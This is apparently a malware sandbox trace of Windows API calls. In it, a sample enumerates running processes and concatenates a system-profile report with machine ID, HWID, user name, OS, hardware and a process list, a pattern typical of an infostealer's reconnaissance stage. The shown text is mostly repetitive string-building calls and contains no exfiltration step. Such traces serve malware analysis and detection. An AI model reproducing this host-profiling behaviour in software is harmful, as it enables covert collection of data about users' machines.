property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n"
[0054.873] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="certain.exe")) returned 1
[0054.874] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- "
[0054.874] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- ", lpString2="certain.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe"
[0054.874] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe ["
[0054.874] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d998
[0054.874] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67daf8
[0054.874] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.874] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [", lpString2="2364" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe 